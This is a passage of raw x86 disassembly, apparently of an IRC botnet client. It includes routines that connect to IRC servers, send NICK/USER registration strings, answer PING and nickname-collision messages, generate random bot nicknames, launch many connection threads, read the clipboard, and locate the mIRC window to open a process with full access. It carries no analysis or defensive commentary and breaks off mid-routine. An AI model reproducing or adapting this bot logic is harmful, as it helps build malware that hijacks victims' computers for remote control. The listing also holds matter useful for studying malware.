lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi push eax call near ptr 27D0000h nop mov ecx, dword_4D3FF8 mov [ebp+var_4], eax add ecx, ecx push ecx push dword_4D4000 push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr dword_4D4004 push eax call dword_4D3DE4 push [ebp+var_4] mov edi, offset dword_4D3DF0 push offset dword_4D2DE0 push offset dword_4D35E0 push [ebp+arg_0] push offset dword_437B4C push 200h push edi call sub_41B980 add esp, 1Ch push [ebp+var_4] push 0 call esi push eax nop call near ptr 27C0000h mov eax, edi pop edi pop esi leave retn sub_417552 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4175E9 proc near ; CODE XREF: sub_416F1A:loc_417056p var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, dword_4D3FF8 push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 nop call near ptr 27D09EAh push eax call near ptr 27D0000h nop and [ebp+var_C], 0 mov [ebp+var_14], eax mov ebx, offset dword_4D35E0 mov edi, 200h mov esi, offset dword_4D2BE0 loc_41762F: ; CODE XREF: sub_4175E9+FAj mov eax, dword_4D3FF8 add eax, eax push eax push dword_4D4000 push [ebp+var_14] call sub_41C310 add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call dword_4D3DE4 mov eax, dword_4D3FF8 and [ebp+var_10], 0 mov ecx, [ebp+var_14] mov [ebp+var_8], 1 test eax, eax jbe short loc_4176A4 loc_41766C: ; CODE XREF: sub_4175E9+B3j cmp [ebp+var_8], 0 jz short loc_4176C1 mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_417690 cmp byte ptr [ecx+1], 0 jnz short loc_417690 cmp dl, 20h jnb short loc_41768A and [ebp+var_8], 0 loc_41768A: ; CODE XREF: sub_4175E9+9Bj cmp [ebp+var_1], 7Eh jbe short loc_417694 loc_417690: ; CODE XREF: sub_4175E9+90j ; sub_4175E9+96j and [ebp+var_8], 0 loc_417694: ; CODE XREF: sub_4175E9+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_41766C cmp [ebp+var_8], 0 jz short loc_4176C1 loc_4176A4: ; CODE XREF: sub_4175E9+81j push [ebp+var_14] push offset dword_4D2DE0 push ebx push [ebp+arg_0] push offset dword_437B4C push edi push esi call sub_41B980 add esp, 1Ch jmp short loc_4176D9 ; --------------------------------------------------------------------------- loc_4176C1: ; CODE XREF: sub_4175E9+87j ; sub_4175E9+B9j push offset dword_4D2DE0 push ebx push [ebp+arg_0] push offset dword_437B9C push edi push esi call sub_41B980 add esp, 18h loc_4176D9: ; CODE XREF: sub_4175E9+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_41762F push [ebp+var_14] push 0 nop call near ptr 27D09EAh push eax call near ptr 27C0000h nop mov eax, esi pop edi pop esi pop ebx leave retn sub_4175E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417702 proc near ; CODE XREF: sub_4178BA+2Fp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CAFF4 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_41777E push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CAF74 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CAFB4 cmp eax, esi jnz short loc_417763 push [ebp+arg_0] call dword_4CAFF8 test eax, eax jz short loc_41777E mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_417763: ; CODE XREF: sub_417702+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CAF1C cmp eax, esi jnz short loc_417782 push edi call dword_4CB00C loc_41777E: ; CODE XREF: sub_417702+1Bj ; sub_417702+58j mov eax, esi jmp short loc_417784 ; --------------------------------------------------------------------------- loc_417782: ; CODE XREF: sub_417702+73j mov eax, edi loc_417784: ; CODE XREF: sub_417702+7Ej pop edi pop esi leave retn sub_417702 endp ; =============== S U B R O U T I N E ======================================= sub_417788 proc near ; CODE XREF: sub_401ACD+3294p ; sub_401ACD+3300p ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push offset asc_429998 ; "\n" push edi call sub_41BEC0 pop ecx mov esi, offset dword_4D400C pop ecx loc_4177A0: ; CODE XREF: sub_417788+42j cmp dword ptr [esi-4], 1 jnz short loc_4177BE cmp dword ptr [esi], 0 jbe short loc_4177BE push 0 push edi call sub_41AFE0 pop ecx push eax push edi push dword ptr [esi] call dword_4CAFC4 loc_4177BE: ; CODE XREF: sub_417788+1Cj ; sub_417788+21j add esi, 210h cmp esi, offset dword_4DA72C jl short loc_4177A0 pop edi pop esi retn sub_417788 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4177CF proc near ; CODE XREF: sub_4178BA+155p var_420 = byte ptr -420h var_220 = byte ptr -220h var_20 = dword ptr -20h var_1C = dword ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 420h push ebx push esi mov esi, offset asc_42CA2C ; " " push edi push esi push [ebp+arg_0] call sub_41C0F4 pop ecx mov [ebp+var_20], eax pop ecx lea edi, [ebp+var_1C] push 7 pop ebx loc_4177F4: ; CODE XREF: sub_4177CF+35j push esi push 0 call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec ebx pop ecx jnz short loc_4177F4 mov esi, [ebp+var_1C] xor edi, edi cmp [ebp+var_20], edi jnz short loc_41781C cmp esi, edi jnz short loc_41781C push 1 pop eax jmp loc_4178B5 ; --------------------------------------------------------------------------- loc_41781C: ; CODE XREF: sub_4177CF+3Fj ; sub_4177CF+43j push [ebp+var_20] push offset aPing ; "PING" call sub_41C070 pop ecx pop ecx test eax, eax push esi jnz short loc_417837 push offset dword_4387B4 jmp short loc_417885 ; --------------------------------------------------------------------------- loc_417837: ; CODE XREF: sub_4177CF+5Fj push offset a433 ; "433" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_417858 push esi push offset dword_4387B0 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4178B3 loc_417858: ; CODE XREF: sub_4177CF+76j push 200h lea eax, [ebp+var_420] push edi push eax call sub_41B590 lea eax, [ebp+var_420] push eax call sub_417ADD add esp, 10h lea eax, [ebp+var_420] push eax push offset dword_4387A4 loc_417885: ; CODE XREF: sub_4177CF+66j lea eax, [ebp+var_220] push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_220] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_220] push eax push [ebp+arg_4] call dword_4CAFC4 loc_4178B3: ; CODE XREF: sub_4177CF+87j xor eax, eax loc_4178B5: ; CODE XREF: sub_4177CF+48j pop edi pop esi pop ebx leave retn sub_4177CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4178BA proc near ; DATA XREF: sub_417A5F+61o var_4008 = byte ptr -4008h var_3008 = byte ptr -3008h var_2008 = byte ptr -2008h var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 4008h call sub_41BB20 push ebx push esi mov esi, [ebp+arg_0] push edi imul esi, 210h push 1 pop edi lea eax, dword_4D4014[esi] mov dword_4D4008[esi], edi push dword_4D4214[esi] push eax call sub_417702 pop ecx xor ebx, ebx cmp eax, edi pop ecx mov dword_4D400C[esi], eax jb loc_417A3F mov edi, 1000h lea eax, [ebp+var_2008] push edi push ebx push eax call sub_41B590 lea eax, [ebp+var_2008] push eax call sub_417ADD lea eax, [ebp+var_4008] push eax call sub_417ADD lea eax, [ebp+var_3008] push eax call sub_417ADD add esp, 18h lea eax, [ebp+var_3008] push eax lea eax, [ebp+var_4008] push eax lea eax, [ebp+var_2008] push eax lea eax, [ebp+var_1008] push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."... push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_1008] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_4D400C[esi] call dword_4CAFC4 push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41B590 add esp, 0Ch loc_417996: ; CODE XREF: sub_4178BA+111j ; sub_4178BA+180j push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1008] push ebx push edi push eax push dword_4D400C[esi] call dword_4CAF8C cmp eax, ebx mov [ebp+var_8], eax jle short loc_417A3F xor eax, eax cmp [ebp+var_8], ebx mov [ebp+var_4], eax jz short loc_417996 loc_4179CD: ; CODE XREF: sub_4178BA+17Ej mov al, [ebp+eax+var_1008] cmp al, 0Dh jz short loc_4179F4 cmp al, 0Ah jz short loc_4179F4 cmp [ebp+arg_0], 0FA0h jz short loc_4179F4 mov ecx, [ebp+arg_0] inc [ebp+arg_0] mov [ebp+ecx+var_2008], al jmp short loc_417A2E ; --------------------------------------------------------------------------- loc_4179F4: ; CODE XREF: sub_4178BA+11Cj ; sub_4178BA+120j ... mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_417A2E push dword_4D400C[esi] mov [ebp+eax+var_2008], bl lea eax, [ebp+var_2008] push eax call sub_4177CF pop ecx test eax, eax pop ecx ja short loc_417A3F push edi lea eax, [ebp+var_2008] push ebx push eax call sub_41B590 add esp, 0Ch mov [ebp+arg_0], ebx loc_417A2E: ; CODE XREF: sub_4178BA+138j ; sub_4178BA+13Fj mov eax, [ebp+var_4] inc eax cmp eax, [ebp+var_8] mov [ebp+var_4], eax jnz short loc_4179CD jmp loc_417996 ; --------------------------------------------------------------------------- loc_417A3F: ; CODE XREF: sub_4178BA+40j ; sub_4178BA+107j ... mov dword_4D4008[esi], ebx mov esi, dword_4D400C[esi] cmp esi, ebx jbe short loc_417A56 push esi call dword_4CB00C loc_417A56: ; CODE XREF: sub_4178BA+193j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_4178BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417A5F proc near ; CODE XREF: sub_401ACD+31E1p var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+arg_8], ebx push esi push edi mov [ebp+var_4], ebx jle short loc_417AD8 loc_417A71: ; CODE XREF: sub_417A5F+77j xor edi, edi mov eax, offset dword_4D4008 loc_417A78: ; CODE XREF: sub_417A5F+28j cmp [eax], ebx jz short loc_417A89 add eax, 210h inc edi cmp eax, offset dword_4DA728 jl short loc_417A78 loc_417A89: ; CODE XREF: sub_417A5F+1Bj cmp edi, 31h jz short loc_417AD8 mov esi, edi push [ebp+arg_0] imul esi, 210h lea eax, dword_4D4014[esi] push eax call sub_41BEB0 mov eax, [ebp+arg_4] pop ecx mov dword_4D4214[esi], eax pop ecx lea eax, [ebp+var_8] mov dword_4D4008[esi], 1 push eax push ebx push edi push offset sub_4178BA push ebx push ebx nop call near ptr 2690448h inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jl short loc_417A71 loc_417AD8: ; CODE XREF: sub_417A5F+10j ; sub_417A5F+2Dj pop edi pop esi pop ebx leave retn sub_417A5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417ADD proc near ; CODE XREF: sub_401ACD+374Dp ; sub_401ACD+3793p ... var_40 = byte ptr -40h var_2D = byte ptr -2Dh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_18 = qword ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push 14h lea eax, [ebp+var_2C] push 0 push eax call sub_41B590 add esp, 0Ch call sub_41B8E2 mov [ebp+var_C], eax fild [ebp+var_C] fmul dbl_4276F8 call sub_41C798 cmp eax, 1 jnz short loc_417B27 call sub_41B8E2 call sub_41B8E2 push 66h cdq pop ecx idiv ecx push off_437EF0[edx*4] jmp short loc_417B40 ; --------------------------------------------------------------------------- loc_417B27: ; CODE XREF: sub_417ADD+2Fj call sub_41B8E2 call sub_41B8E2 cdq mov ecx, 0C0h idiv ecx push off_437BF0[edx*4] loc_417B40: ; CODE XREF: sub_417ADD+48j lea eax, [ebp+var_2C] push eax call sub_41BEB0 pop ecx lea eax, [ebp+var_2C] pop ecx push ebx push esi push edi push eax call sub_41AFE0 pop ecx mov esi, eax push 13h mov [ebp+var_4], esi pop eax sub eax, esi mov [ebp+var_C], eax call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276F0 call sub_41C798 mov ebx, eax call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276E8 call sub_41C798 cmp esi, 2 mov edi, offset a__0 ; "-|`_\\{[]}" jle short loc_417BB3 cmp esi, 3 jnz short loc_417BAA cmp ebx, 1 jz short loc_417BB3 loc_417BAA: ; CODE XREF: sub_417ADD+C6j cmp eax, 1 jnz loc_417C6D loc_417BB3: ; CODE XREF: sub_417ADD+C1j ; sub_417ADD+CBj call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276E0 call sub_41C798 push off_437EF0[eax*4] lea eax, [ebp+var_40] push eax call sub_41BEB0 movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax push edi call sub_41BFB0 add esp, 10h test eax, eax jnz short loc_417C5A movsx eax, [ebp+var_40] push eax push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_417C5A call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax dec esi fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], esi fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 call sub_41C798 cmp eax, 1 jnz short loc_417C5A push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-8] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-8] fmul dbl_4276E8 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al loc_417C5A: ; CODE XREF: sub_417ADD+111j ; sub_417ADD+122j ... push [ebp+var_C] lea eax, [ebp+var_40] push eax lea eax, [ebp+var_2C] push eax call sub_41C1E0 add esp, 0Ch loc_417C6D: ; CODE XREF: sub_417ADD+D0j lea eax, [ebp+var_2C] push eax call sub_41AFE0 mov esi, eax movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax mov [ebp+var_4], esi call sub_41D648 pop ecx test eax, eax pop ecx jnz loc_417ED5 and [ebp+var_C], eax movsx eax, byte ptr [ebx-1] push eax push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz loc_417DCC call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax lea eax, [esi+3] fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 call sub_41C798 cmp esi, 3 jz short loc_417CDB cmp eax, 1 jnz loc_417DCC loc_417CDB: ; CODE XREF: sub_417ADD+1F3j push 2 cdq pop ecx idiv ecx cmp edx, 1 jnz short loc_417D1D push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276E8 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al jmp short loc_417D39 ; --------------------------------------------------------------------------- loc_417D1D: ; CODE XREF: sub_417ADD+207j call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 mov cl, 41h sub cl, al mov [ebx], cl loc_417D39: ; CODE XREF: sub_417ADD+23Ej push 1 inc esi pop ebx mov [ebp+var_4], esi mov [ebp+var_C], ebx call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D0 call sub_41C798 cmp esi, 3 jz short loc_417D62 cmp eax, ebx jnz short loc_417DCC loc_417D62: ; CODE XREF: sub_417ADD+27Fj push 2 pop ebx cdq mov ecx, ebx idiv ecx test edx, edx jnz short loc_417DA7 push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276E8 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebp+esi+var_2C], al jmp short loc_417DC5 ; --------------------------------------------------------------------------- loc_417DA7: ; CODE XREF: sub_417ADD+28Fj call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 mov cl, 41h sub cl, al mov [ebp+esi+var_2C], cl loc_417DC5: ; CODE XREF: sub_417ADD+2C8j inc esi mov [ebp+var_C], ebx mov [ebp+var_4], esi loc_417DCC: ; CODE XREF: sub_417ADD+1C9j ; sub_417ADD+1F8j ... cmp esi, 6 jge loc_417E55 cmp esi, 5 jge short loc_417DED call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276F0 jmp short loc_417E0B ; --------------------------------------------------------------------------- loc_417DED: ; CODE XREF: sub_417ADD+2FBj call sub_41B8E2 push 8 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] pop eax sub eax, esi mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 loc_417E0B: ; CODE XREF: sub_417ADD+30Ej call sub_41C798 test eax, eax jnz short loc_417E2E call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C8 call sub_41C798 mov cl, 30h jmp short loc_417E4B ; --------------------------------------------------------------------------- loc_417E2E: ; CODE XREF: sub_417ADD+335j cmp eax, 1 jnz short loc_417E55 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 mov cl, 41h loc_417E4B: ; CODE XREF: sub_417ADD+34Fj sub cl, al mov [ebp+esi+var_2C], cl inc esi mov [ebp+var_4], esi loc_417E55: ; CODE XREF: sub_417ADD+2F2j ; sub_417ADD+354j cmp [ebp+var_C], 2 jge short loc_417ED5 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276E8 call sub_41C798 cmp eax, 1 jnz short loc_417ED5 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C8 call sub_41C798 mov cl, 30h sub cl, al mov [ebp+esi+var_2C], cl call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C0 call sub_41C798 cmp eax, 1 jnz short loc_417ED5 cmp [ebp+var_C], eax jge short loc_417ED5 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B8 call sub_41C798 mov cl, 30h sub cl, al mov [ebp+esi+var_2B], cl loc_417ED5: ; CODE XREF: sub_417ADD+1B1j ; sub_417ADD+37Cj ... lea eax, [ebp+var_2C] push 14h push eax push [ebp+arg_0] call sub_41B5F0 mov eax, [ebp+arg_0] add esp, 0Ch pop edi pop esi pop ebx leave retn sub_417ADD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417EEE proc near ; CODE XREF: sub_401ACD+BEBp ; sub_401ACD+C28p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_417F79 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_417F79 cmp [ebp+arg_8], esi jz short loc_417F79 cmp byte ptr [eax], 0 jz short loc_417F79 push ebx push edi call sub_426464 mov ebx, eax pop ecx test ebx, ebx jz short loc_417F74 push [ebp+arg_4] push edi call sub_41B900 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_417F6D sub eax, edi push eax push edi push ebx call sub_41B5F0 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_41AFE0 push eax push [ebp+arg_8] push ebx call sub_41C1E0 push [ebp+arg_4] call sub_41AFE0 add eax, esi push eax push ebx call sub_41BEC0 push ebx push edi call sub_41BEB0 add esp, 30h mov esi, edi loc_417F6D: ; CODE XREF: sub_417EEE+3Cj push ebx call sub_41B0B1 pop ecx loc_417F74: ; CODE XREF: sub_417EEE+2Bj mov eax, esi pop ebx jmp short loc_417F7B ; --------------------------------------------------------------------------- loc_417F79: ; CODE XREF: sub_417EEE+Cj ; sub_417EEE+13j ... xor eax, eax loc_417F7B: ; CODE XREF: sub_417EEE+89j pop edi pop esi pop ebp retn sub_417EEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417F7F proc near ; CODE XREF: sub_401955+E9p ; ___:004102F0p var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_41B590 mov esi, [ebp+arg_0] push esi call sub_41AFE0 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_417FB5 or eax, 0FFFFFFFFh jmp short loc_418028 ; --------------------------------------------------------------------------- loc_417FB5: ; CODE XREF: sub_417F7F+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_417FD7 loc_417FC1: ; CODE XREF: sub_417F7F+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_417FCE cmp dl, 0Dh jnz short loc_417FD2 loc_417FCE: ; CODE XREF: sub_417F7F+48j and byte ptr [ecx+esi], 0 loc_417FD2: ; CODE XREF: sub_417F7F+4Dj inc ecx cmp ecx, eax jl short loc_417FC1 loc_417FD7: ; CODE XREF: sub_417F7F+40j xor edx, edx push edi test eax, eax jle short loc_418008 lea edi, [ebp+var_7CC] loc_417FE4: ; CODE XREF: sub_417F7F+87j cmp byte ptr [edx+esi], 0 jnz short loc_418003 cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_418003 cmp ebx, 1F4h jge short loc_418008 mov [edi], ecx inc ebx add edi, 4 loc_418003: ; CODE XREF: sub_417F7F+69j ; sub_417F7F+74j inc edx cmp edx, eax jl short loc_417FE4 loc_418008: ; CODE XREF: sub_417F7F+5Dj ; sub_417F7F+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_418026 lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_41C310 add esp, 0Ch loc_418026: ; CODE XREF: sub_417F7F+8Ej mov eax, ebx loc_418028: ; CODE XREF: sub_417F7F+34j pop esi pop ebx leave retn sub_417F7F endp ; =============== S U B R O U T I N E ======================================= sub_41802C proc near ; CODE XREF: sub_418086+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_418065 push ebx mov ebx, edi loc_418049: ; CODE XREF: sub_41802C+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_418068 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_418049 pop ebx loc_418065: ; CODE XREF: sub_41802C+18j pop edi pop esi retn sub_41802C endp ; =============== S U B R O U T I N E ======================================= sub_418068 proc near ; CODE XREF: sub_41802C+25p ; sub_418086+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_41D74C cmp al, 61h pop ecx jl short loc_418083 cmp al, 7Ah jg short loc_418083 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_418083: ; CODE XREF: sub_418068+Ej ; sub_418068+12j xor eax, eax retn sub_418068 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418086 proc near ; CODE XREF: ___:0041532Dp var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_41BB20 push ebx push esi push edi push [ebp+arg_0] call sub_41AFE0 push [ebp+arg_4] mov [ebp+var_4], eax call sub_41AFE0 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_41802C add esp, 14h dec esi mov edi, esi loc_4180C4: ; CODE XREF: sub_418086+B6j test esi, esi jle short loc_418142 mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_41D74C mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_41D74C pop ecx cmp eax, ebx pop ecx jz short loc_41813A loc_4180EA: ; CODE XREF: sub_418086+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_418068 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_41810B mov eax, ecx loc_41810B: ; CODE XREF: sub_418086+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_41813E mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_41D74C mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_41D74C pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_4180EA loc_41813A: ; CODE XREF: sub_418086+62j dec edi dec esi jmp short loc_4180C4 ; --------------------------------------------------------------------------- loc_41813E: ; CODE XREF: sub_418086+8Aj xor eax, eax jmp short loc_418147 ; --------------------------------------------------------------------------- loc_418142: ; CODE XREF: sub_418086+40j mov eax, [ebp+arg_0] add eax, edi loc_418147: ; CODE XREF: sub_418086+BAj pop edi pop esi pop ebx leave retn sub_418086 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41814C proc near ; CODE XREF: sub_401ACD+67A3p ; sub_401ACD+789Ep var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi call near ptr 2690DCCh nop mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h call near ptr 27F0000h nop lea eax, [ebp+var_100] loc_418185: ; CODE XREF: sub_41814C+46j mov cl, [eax] cmp cl, 1Fh jg short loc_418191 cmp cl, 9 jnz short loc_418194 loc_418191: ; CODE XREF: sub_41814C+3Ej inc eax jmp short loc_418185 ; --------------------------------------------------------------------------- loc_418194: ; CODE XREF: sub_41814C+43j ; sub_41814C+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_4181AE mov cl, [eax] cmp cl, 2Eh jz short loc_418194 cmp cl, 21h jl short loc_418194 loc_4181AE: ; CODE XREF: sub_41814C+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_4DA72C push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_41B980 add esp, 18h mov eax, esi pop esi leave retn sub_41814C endp ; =============== S U B R O U T I N E ======================================= sub_4181D6 proc near ; CODE XREF: sub_401ACD+24CAp push esi push 0 call dword_4CAF44 test eax, eax jz short loc_41820D push 1 call dword_4CAF64 mov esi, eax test esi, esi jz short loc_41820D push edi push esi nop call near ptr 2800654h push esi mov edi, eax call near ptr 2800000h nop call dword_4CAFC8 mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_41820D: ; CODE XREF: sub_4181D6+Bj ; sub_4181D6+19j xor eax, eax pop esi retn sub_4181D6 endp ; =============== S U B R O U T I N E ======================================= sub_418211 proc near ; CODE XREF: sub_401ACD+7661p arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc_0 ; "mIRC" push esi push edi call dword_4CAF80 mov ebp, eax cmp ebp, esi jz short loc_41828D push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh nop call near ptr 2810524h push esi push esi mov edi, eax push esi push 0F001Fh push edi nop call near ptr 2810377h 